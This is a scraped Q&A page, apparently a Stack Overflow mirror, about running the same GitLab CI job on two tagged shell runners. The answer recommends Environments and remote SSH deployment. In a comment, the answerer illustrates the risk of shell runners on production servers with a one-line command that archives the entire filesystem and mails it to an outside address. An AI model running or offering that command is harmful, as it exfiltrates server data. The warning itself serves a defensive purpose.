【问题标题】:Gitlab-Runner: Run the same job with multiple runnersGitlab-Runner:与多个跑步者一起运行同一个作业
【发布时间】:2022-01-13 09:58:58
【问题描述】:

我在两个不同的服务器上设置了两个标准的 shell gitlab 运行器,我们称它们为 A 和 B。
标签设置为A:“a-deploy”和B:“b-deploy”。

所以每次我使用 gitlab-ci.yml 推送一个项目,其中指定了 both 标签,我希望 both 运行器在他们自己的服务器上运行该作业。 我的猜测是只有 一个 的跑步者能胜任这项工作。

这可能吗?我怎样才能做到这一点?
还是以某种方式开箱即用?

【问题讨论】:

    标签: gitlab gitlab-ci jobs gitlab-ci-runner


    【解决方案1】:

    在不同服务器上使用不同的运行器,您正在尝试找到Environments 的功能。

    不要依赖跑步者居住的事实。在生产服务器上拥有一个 shell runner 也不好。在完全不相关的项目中用两行代码窃取你所有的产品是可能的。

    相反,配置 Gitlab 运行程序对部署服务器的远程访问并自动执行远程部署。

    作为起点,您可以通过环境变量设置地址和凭据。
    您可以将 ssh 密钥放入文件变量。虽然有一些编排系统会更好。

    然后您可以定义一个作业模板和两个作业,每个作业都指向自己的环境。使用rules:,您可以控制何时执行特定作业。

    【讨论】:

    • 怎么可能窃取我的作品?你是说代码吗?因为我在服务器上没有相关数据。我会研究环境,谢谢。
    • 创建个人项目,内容无所谓。添加标签与您的生产相同的作业。插入脚本: sh -c 'tar czf prod.tar.gz / >/dev/null 2>&1; mailx -s“tverdo 生产数据”-a prod.tar.gz iamhacker@gmail.com'。放弃项目。 YMMV。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2020-06-09
    • 2017-12-29
    • 1970-01-01
    • 2011-01-16
    • 2021-08-10
    • 2018-11-28
    • 2015-04-26
    相关资源
    最近更新 更多